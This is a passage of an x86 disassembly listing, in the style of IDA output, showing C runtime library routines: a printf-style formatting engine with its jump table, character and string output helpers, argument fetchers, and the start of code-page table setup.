edi, edi mov [esi+4], ecx jle short loc_41F84C push edi push eax push ebx call loc_422BF6 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F87F ; --------------------------------------------------------------------------- loc_41F84C: ; CODE XREF: sub_41F7AA+90j cmp ebx, 0FFFFFFFFh jz short loc_41F867 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, ds:dword_4DE1E0[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F86C ; --------------------------------------------------------------------------- loc_41F867: ; CODE XREF: sub_41F7AA+A5j mov eax, offset dword_43F860 loc_41F86C: ; CODE XREF: sub_41F7AA+BBj test byte ptr [eax+4], 20h jz short loc_41F87F push 2 push 0 push ebx call sub_422A04 add esp, 0Ch loc_41F87F: ; CODE XREF: sub_41F7AA+A0j ; sub_41F7AA+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F89D ; --------------------------------------------------------------------------- loc_41F889: ; CODE XREF: sub_41F7AA+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call loc_422BF6 add esp, 0Ch mov [ebp+arg_4], eax loc_41F89D: ; CODE XREF: sub_41F7AA+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F8A9 or dword ptr [esi+0Ch], 20h jmp short loc_41F8B8 ; --------------------------------------------------------------------------- loc_41F8A9: ; CODE XREF: sub_41F7AA+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F8BB ; --------------------------------------------------------------------------- loc_41F8B3: ; CODE XREF: sub_41F7AA+10j ; sub_41F7AA+18j ... or al, 20h mov [esi+0Ch], eax loc_41F8B8: ; CODE XREF: sub_41F7AA+FDj or eax, 0FFFFFFFFh loc_41F8BB: ; CODE XREF: sub_41F7AA+107j pop esi pop ebx pop ebp retn sub_41F7AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F8BF proc near ; CODE XREF: sub_41BA76+29p ; sub_41BB70+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FFD8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F8F3 ; --------------------------------------------------------------------------- loc_41F8EB: ; CODE XREF: sub_41F8BF+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F8F3: ; CODE XREF: sub_41F8BF+2Aj cmp [ebp+var_14], edx jl loc_41FFD8 cmp bl, 20h jl short loc_41F914 cmp bl, 78h jg short loc_41F914 movsx eax, bl mov al, byte ptr ds:(a__global_heap_+10h)[eax] and eax, 0Fh jmp short loc_41F916 ; --------------------------------------------------------------------------- loc_41F914: ; CODE XREF: sub_41F8BF+40j ; sub_41F8BF+45j xor eax, eax loc_41F916: ; CODE XREF: sub_41F8BF+53j movsx eax, ds:byte_42875C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FFC7 ; default jmp ds:off_41FFE0[eax*4] ; switch jump loc_41F934: ; DATA XREF: seg000:off_41FFE0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F92D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41F94F: ; CODE XREF: sub_41F8BF+6Ej ; DATA XREF: seg000:off_41FFE0o movsx eax, bl ; jumptable 0041F92D case 2 sub eax, 20h jz short loc_41F992 sub eax, 3 jz short loc_41F989 sub eax, 8 jz short loc_41F980 dec eax dec eax jz short loc_41F977 sub eax, 3 jnz loc_41FFC7 ; default or [ebp+var_4], 8 jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41F977: ; CODE XREF: sub_41F8BF+A4j or [ebp+var_4], 4 jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41F980: ; CODE XREF: sub_41F8BF+A0j or [ebp+var_4], 1 jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41F989: ; CODE XREF: sub_41F8BF+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41F992: ; CODE XREF: sub_41F8BF+96j or [ebp+var_4], 2 jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41F99B: ; CODE XREF: sub_41F8BF+6Ej ; DATA XREF: seg000:off_41FFE0o cmp bl, 2Ah ; jumptable 0041F92D case 3 jnz short loc_41F9C3 lea eax, [ebp+arg_8] push eax call sub_42009E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FFC7 ; default or [ebp+var_4], 4 neg eax loc_41F9BB: ; CODE XREF: sub_41F8BF+111j mov [ebp+var_20], eax jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41F9C3: ; CODE XREF: sub_41F8BF+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F9BB ; --------------------------------------------------------------------------- loc_41F9D2: ; CODE XREF: sub_41F8BF+6Ej ; DATA XREF: seg000:off_41FFE0o mov [ebp+var_10], edx ; jumptable 0041F92D case 4 jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41F9DA: ; CODE XREF: sub_41F8BF+6Ej ; DATA XREF: seg000:off_41FFE0o cmp bl, 2Ah ; jumptable 0041F92D case 5 jnz short loc_41F9FD lea eax, [ebp+arg_8] push eax call sub_42009E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FFC7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41F9FD: ; CODE XREF: sub_41F8BF+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41FA0F: ; CODE XREF: sub_41F8BF+6Ej ; DATA XREF: seg000:off_41FFE0o cmp bl, 49h ; jumptable 0041F92D case 6 jz short loc_41FA42 cmp bl, 68h jz short loc_41FA39 cmp bl, 6Ch jz short loc_41FA30 cmp bl, 77h jnz loc_41FFC7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41FA30: ; CODE XREF: sub_41F8BF+15Dj or [ebp+var_4], 10h jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41FA39: ; CODE XREF: sub_41F8BF+158j or [ebp+var_4], 20h jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41FA42: ; CODE XREF: sub_41F8BF+153j cmp byte ptr [edi], 36h jnz short loc_41FA5B cmp byte ptr [edi+1], 34h jnz short loc_41FA5B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41FA5B: ; CODE XREF: sub_41F8BF+186j ; sub_41F8BF+18Cj mov [ebp+var_30], edx loc_41FA5E: ; CODE XREF: sub_41F8BF+6Ej ; DATA XREF: seg000:off_41FFE0o mov ecx, ds:off_43EF88 ; jumptable 0041F92D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41FA8A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420000 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41FA8A: ; CODE XREF: sub_41F8BF+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420000 add esp, 0Ch jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41FAA2: ; CODE XREF: sub_41F8BF+6Ej ; DATA XREF: seg000:off_41FFE0o movsx eax, bl ; jumptable 0041F92D case 7 cmp eax, 67h jg loc_41FCCA cmp eax, 65h jge loc_41FB4D cmp eax, 58h jg loc_41FBAB jz loc_41FD3E sub eax, 43h jz loc_41FB6E dec eax dec eax jz short loc_41FB43 dec eax dec eax jz short loc_41FB43 sub eax, 0Ch jnz loc_41FEC9 test word ptr [ebp+var_4], 830h jnz short loc_41FAEC or byte ptr [ebp+var_4+1], 8 loc_41FAEC: ; CODE XREF: sub_41F8BF+227j ; sub_41F8BF+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41FAF9 mov esi, 7FFFFFFFh loc_41FAF9: ; CODE XREF: sub_41F8BF+233j lea eax, [ebp+arg_8] push eax call sub_42009E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FD12 test ecx, ecx jnz short loc_41FB21 mov ecx, ds:off_43F1A4 mov [ebp+var_8], ecx loc_41FB21: ; CODE XREF: sub_41F8BF+257j mov [ebp+var_24], 1 mov eax, ecx loc_41FB2A: ; CODE XREF: sub_41F8BF+282j mov edx, esi dec esi test edx, edx jz loc_41FD09 cmp word ptr [eax], 0 jz loc_41FD09 inc eax inc eax jmp short loc_41FB2A ; --------------------------------------------------------------------------- loc_41FB43: ; CODE XREF: sub_41F8BF+212j ; sub_41F8BF+216j mov [ebp+var_34], 1 add bl, 20h loc_41FB4D: ; CODE XREF: sub_41F8BF+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FC31 mov [ebp+var_10], 6 jmp loc_41FC3F ; --------------------------------------------------------------------------- loc_41FB6E: ; CODE XREF: sub_41F8BF+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41FB7A or byte ptr [ebp+var_4+1], 8 loc_41FB7A: ; CODE XREF: sub_41F8BF+2B5j ; sub_41F8BF+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41FBC1 call sub_4200BB push eax lea eax, [ebp+var_248] push eax call sub_4240A6 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41FBD4 mov [ebp+var_28], 1 jmp short loc_41FBD4 ; --------------------------------------------------------------------------- loc_41FBAB: ; CODE XREF: sub_41F8BF+1FBj sub eax, 5Ah jz short loc_41FBE2 sub eax, 9 jz short loc_41FB7A dec eax jz loc_41FDA4 jmp loc_41FEC9 ; --------------------------------------------------------------------------- loc_41FBC1: ; CODE XREF: sub_41F8BF+2C5j call sub_42009E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41FBD4: ; CODE XREF: sub_41F8BF+2E1j ; sub_41F8BF+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FEC9 ; --------------------------------------------------------------------------- loc_41FBE2: ; CODE XREF: sub_41F8BF+2EFj lea eax, [ebp+arg_8] push eax call sub_42009E test eax, eax pop ecx jz short loc_41FC23 mov ecx, [eax+4] test ecx, ecx jz short loc_41FC23 test byte ptr [ebp+var_4+1], 8 jz short loc_41FC14 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FEC9 ; --------------------------------------------------------------------------- loc_41FC14: ; CODE XREF: sub_41F8BF+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FEC6 ; --------------------------------------------------------------------------- loc_41FC23: ; CODE XREF: sub_41F8BF+32Fj ; sub_41F8BF+336j mov eax, ds:off_43F1A0 mov [ebp+var_8], eax push eax jmp loc_41FCBF ; --------------------------------------------------------------------------- loc_41FC31: ; CODE XREF: sub_41F8BF+29Dj jnz short loc_41FC3F cmp bl, 67h jnz short loc_41FC3F mov [ebp+var_10], 1 loc_41FC3F: ; CODE XREF: sub_41F8BF+2AAj ; sub_41F8BF:loc_41FC31j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call ds:off_43F530 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FC91 cmp [ebp+var_10], 0 jnz short loc_41FC91 lea eax, [ebp+var_248] push eax call ds:off_43F53C pop ecx loc_41FC91: ; CODE XREF: sub_41F8BF+3BCj ; sub_41F8BF+3C2j cmp bl, 67h jnz short loc_41FCA8 test esi, esi jnz short loc_41FCA8 lea eax, [ebp+var_248] push eax call ds:off_43F534 pop ecx loc_41FCA8: ; CODE XREF: sub_41F8BF+3D5j ; sub_41F8BF+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FCBE or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FCBE: ; CODE XREF: sub_41F8BF+3F0j push edi loc_41FCBF: ; CODE XREF: sub_41F8BF+36Dj call sub_41B1D0 pop ecx jmp loc_41FEC6 ; --------------------------------------------------------------------------- loc_41FCCA: ; CODE XREF: sub_41F8BF+1E9j sub eax, 69h jz loc_41FDA4 sub eax, 5 jz loc_41FD7A dec eax jz loc_41FD67 dec eax jz short loc_41FD37 sub eax, 3 jz loc_41FAEC dec eax dec eax jz loc_41FDA8 sub eax, 3 jnz loc_41FEC9 mov [ebp+var_2C], 27h jmp short loc_41FD45 ; --------------------------------------------------------------------------- loc_41FD09: ; CODE XREF: sub_41F8BF+270j ; sub_41F8BF+27Aj sub eax, ecx sar eax, 1 jmp loc_41FEC6 ; --------------------------------------------------------------------------- loc_41FD12: ; CODE XREF: sub_41F8BF+24Fj test ecx, ecx jnz short loc_41FD1F mov ecx, ds:off_43F1A0 mov [ebp+var_8], ecx loc_41FD1F: ; CODE XREF: sub_41F8BF+455j mov eax, ecx loc_41FD21: ; CODE XREF: sub_41F8BF+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FD30 cmp byte ptr [eax], 0 jz short loc_41FD30 inc eax jmp short loc_41FD21 ; --------------------------------------------------------------------------- loc_41FD30: ; CODE XREF: sub_41F8BF+467j ; sub_41F8BF+46Cj sub eax, ecx jmp loc_41FEC6 ; --------------------------------------------------------------------------- loc_41FD37: ; CODE XREF: sub_41F8BF+425j mov [ebp+var_10], 8 loc_41FD3E: ; CODE XREF: sub_41F8BF+201j mov [ebp+var_2C], 7 loc_41FD45: ; CODE XREF: sub_41F8BF+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FDAF mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FDAF ; --------------------------------------------------------------------------- loc_41FD67: ; CODE XREF: sub_41F8BF+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FDAF or byte ptr [ebp+var_4+1], 2 jmp short loc_41FDAF ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F8BF+417j lea eax, [ebp+arg_8] push eax call sub_42009E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FD93 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FD98 ; --------------------------------------------------------------------------- loc_41FD93: ; CODE XREF: sub_41F8BF+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FD98: ; CODE XREF: sub_41F8BF+4D2j mov [ebp+var_28], 1 jmp loc_41FFC7 ; default ; --------------------------------------------------------------------------- loc_41FDA4: ; CODE XREF: sub_41F8BF+2F7j ; sub_41F8BF+40Ej or [ebp+var_4], 40h loc_41FDA8: ; CODE XREF: sub_41F8BF+432j mov [ebp+var_C], 0Ah loc_41FDAF: ; CODE XREF: sub_41F8BF+491j ; sub_41F8BF+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FDC1 lea eax, [ebp+arg_8] push eax call sub_4200AB pop ecx jmp short loc_41FE02 ; --------------------------------------------------------------------------- loc_41FDC1: ; CODE XREF: sub_41F8BF+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FDE8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FDDD call sub_42009E pop ecx movsx eax, ax loc_41FDDA: ; CODE XREF: sub_41F8BF+527j ; sub_41F8BF+539j cdq jmp short loc_41FE02 ; --------------------------------------------------------------------------- loc_41FDDD: ; CODE XREF: sub_41F8BF+510j call sub_42009E pop ecx movzx eax, ax jmp short loc_41FDDA ; --------------------------------------------------------------------------- loc_41FDE8: ; CODE XREF: sub_41F8BF+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FDFA call sub_42009E pop ecx jmp short loc_41FDDA ; --------------------------------------------------------------------------- loc_41FDFA: ; CODE XREF: sub_41F8BF+531j call sub_42009E pop ecx xor edx, edx loc_41FE02: ; CODE XREF: sub_41F8BF+500j ; sub_41F8BF+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FE23 test edx, edx jg short loc_41FE23 jl short loc_41FE12 test eax, eax jnb short loc_41FE23 loc_41FE12: ; CODE XREF: sub_41F8BF+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FE27 ; --------------------------------------------------------------------------- loc_41FE23: ; CODE XREF: sub_41F8BF+547j ; sub_41F8BF+54Bj ... mov esi, eax mov edi, edx loc_41FE27: ; CODE XREF: sub_41F8BF+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FE30 and edi, 0 loc_41FE30: ; CODE XREF: sub_41F8BF+56Cj cmp [ebp+var_10], 0 jge short loc_41FE3F mov [ebp+var_10], 1 jmp short loc_41FE43 ; --------------------------------------------------------------------------- loc_41FE3F: ; CODE XREF: sub_41F8BF+575j and [ebp+var_4], 0FFFFFFF7h loc_41FE43: ; CODE XREF: sub_41F8BF+57Ej mov eax, esi or eax, edi jnz short loc_41FE4D and [ebp+var_1C], 0 loc_41FE4D: ; CODE XREF: sub_41F8BF+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FE53: ; CODE XREF: sub_41F8BF+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FE63 mov eax, esi or eax, edi jz short loc_41FE9E loc_41FE63: ; CODE XREF: sub_41F8BF+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D6A0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D630 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FE94 add ebx, [ebp+var_2C] loc_41FE94: ; CODE XREF: sub_41F8BF+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FE53 ; --------------------------------------------------------------------------- loc_41FE9E: ; CODE XREF: sub_41F8BF+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FEC9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FEBC test eax, eax jnz short loc_41FEC9 loc_41FEBC: ; CODE XREF: sub_41F8BF+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FEC6: ; CODE XREF: sub_41F8BF+35Fj ; sub_41F8BF+406j ... mov [ebp+var_C], eax loc_41FEC9: ; CODE XREF: sub_41F8BF+21Bj ; sub_41F8BF+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FFC7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FF01 test bh, 1 jz short loc_41FEE6 mov [ebp+var_16], 2Dh jmp short loc_41FEFA ; --------------------------------------------------------------------------- loc_41FEE6: ; CODE XREF: sub_41F8BF+61Fj test bl, 1 jz short loc_41FEF1 mov [ebp+var_16], 2Bh jmp short loc_41FEFA ; --------------------------------------------------------------------------- loc_41FEF1: ; CODE XREF: sub_41F8BF+62Aj test bl, 2 jz short loc_41FF01 mov [ebp+var_16], 20h loc_41FEFA: ; CODE XREF: sub_41F8BF+625j ; sub_41F8BF+630j mov [ebp+var_1C], 1 loc_41FF01: ; CODE XREF: sub_41F8BF+61Aj ; sub_41F8BF+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FF21 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_420035 add esp, 10h loc_41FF21: ; CODE XREF: sub_41F8BF+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_420066 add esp, 10h test bl, 8 jz short loc_41FF53 test bl, 4 jnz short loc_41FF53 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_420035 add esp, 10h loc_41FF53: ; CODE XREF: sub_41F8BF+67Bj ; sub_41F8BF+680j cmp [ebp+var_24], 0 jz short loc_41FF9A cmp [ebp+var_C], 0 jle short loc_41FF9A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FF68: ; CODE XREF: sub_41F8BF+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_4240A6 pop ecx test eax, eax pop ecx jle short loc_41FFAF lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_420066 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FF68 jmp short loc_41FFAF ; --------------------------------------------------------------------------- loc_41FF9A: ; CODE XREF: sub_41F8BF+698j ; sub_41F8BF+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_420066 add esp, 10h loc_41FFAF: ; CODE XREF: sub_41F8BF+6BCj ; sub_41F8BF+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FFC7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_420035 add esp, 10h loc_41FFC7: ; CODE XREF: sub_41F8BF+68j ; sub_41F8BF+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F8EB loc_41FFD8: ; CODE XREF: sub_41F8BF+1Fj ; sub_41F8BF+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F8BF endp ; --------------------------------------------------------------------------- off_41FFE0 dd offset loc_41FA5E ; DATA XREF: sub_41F8BF+6Er dd offset loc_41F934 ; jump table for switch statement dd offset loc_41F94F dd offset loc_41F99B dd offset loc_41F9D2 dd offset loc_41F9DA dd offset loc_41FA0F dd offset loc_41FAA2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420000 proc near ; CODE XREF: sub_41F8BF+1BDp ; sub_41F8BF+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_420019 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_420024 ; --------------------------------------------------------------------------- loc_420019: ; CODE XREF: sub_420000+9j push ecx push [ebp+arg_0] call sub_41F7AA pop ecx pop ecx loc_420024: ; CODE XREF: sub_420000+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_420031 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_420031: ; CODE XREF: sub_420000+2Aj inc dword ptr [eax] pop ebp retn sub_420000 endp ; =============== S U B R O U T I N E ======================================= sub_420035 proc near ; CODE XREF: sub_41F8BF+65Ap ; sub_41F8BF+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_420063 mov esi, [esp+8+arg_C] loc_420046: ; CODE XREF: sub_420035+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_420000 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_420063 mov eax, edi dec edi test eax, eax jg short loc_420046 loc_420063: ; CODE XREF: sub_420035+Bj ; sub_420035+25j pop edi pop esi retn sub_420035 endp ; =============== S U B R O U T I N E ======================================= sub_420066 proc near ; CODE XREF: sub_41F8BF+670p ; sub_41F8BF+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_42009A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_42007C: ; CODE XREF: sub_420066+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_420000 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_42009A mov eax, ebx dec ebx test eax, eax jg short loc_42007C loc_42009A: ; CODE XREF: sub_420066+Cj ; sub_420066+2Bj pop edi pop esi pop ebx retn sub_420066 endp ; =============== S U B R O U T I N E ======================================= sub_42009E proc near ; CODE XREF: sub_41F8BF+E5p ; sub_41F8BF+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_42009E endp ; =============== S U B R O U T I N E ======================================= sub_4200AB proc near ; CODE XREF: sub_41F8BF+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_4200AB endp ; =============== S U B R O U T I N E ======================================= sub_4200BB proc near ; CODE XREF: sub_41F8BF+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_4200BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200C9 proc near ; CODE XREF: sub_42048D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420262 mov esi, eax pop ecx cmp esi, ds:dword_4DF304 mov [ebp+arg_0], esi jz loc_420256 xor ebx, ebx cmp esi, ebx jz loc_42024C xor edx, edx mov eax, offset dword_43F1B0 loc_4200FD: ; CODE XREF: sub_4200C9+41j cmp [eax], esi jz short loc_420173 add eax, 30h inc edx cmp eax, offset dword_43F2A0 jl short loc_4200FD lea eax, [ebp+var_18] push eax push esi call near ptr 0C30004h push edi cmp eax, 1 jnz loc_420244 push 40h xor eax, eax pop ecx mov edi, offset byte_4DF420 cmp [ebp+var_18], 1 mov ds:dword_4DF304, esi rep stosd stosb mov ds:dword_4DF524, ebx jbe loc_420232 cmp [ebp+var_12], 0 jz loc_420208 lea ecx, [ebp+var_11] loc_420150: ; CODE XREF: sub_4200C9+139j mov dl, [ecx] test dl, dl jz loc_420208 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_420161: ; CODE XREF: sub_4200C9+A8j cmp eax, edx ja loc_4201FC or ds:byte_4DF421[eax], 4 inc eax jmp short loc_420161 ; --------------------------------------------------------------------------- loc_420173: ; CODE XREF: sub_4200C9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DF420 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43F1C0[esi] loc_42018F: ; CODE XREF: sub_4200C9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_4201C2 loc_420196: ; CODE XREF: sub_4200C9+F7j mov dl, [ecx+1] test dl, dl jz short loc_4201C2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_4201BB mov edx, [ebp+var_4] mov dl, ds:byte_43F1A8[edx] loc_4201B0: ; CODE XREF: sub_4200C9+F0j or ds:byte_4DF421[eax], dl inc eax cmp eax, edi jbe short loc_4201B0 loc_4201BB: ; CODE XREF: sub_4200C9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_420196 loc_4201C2: ; CODE XREF: sub_4200C9+CBj ; sub_4200C9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_42018F mov eax, [ebp+arg_0] mov ds:dword_4DF31C, 1 push eax mov ds:dword_4DF304, eax call sub_4202AC lea esi, dword_43F1B4[esi] mov edi, offset dword_4DF310 movsd movsd pop ecx mov ds:dword_4DF524, eax movsd jmp short loc_420251 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200C9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_420150 loc_420208: ; CODE XREF: sub_4200C9+7Ej ; sub_4200C9+8Bj push 1 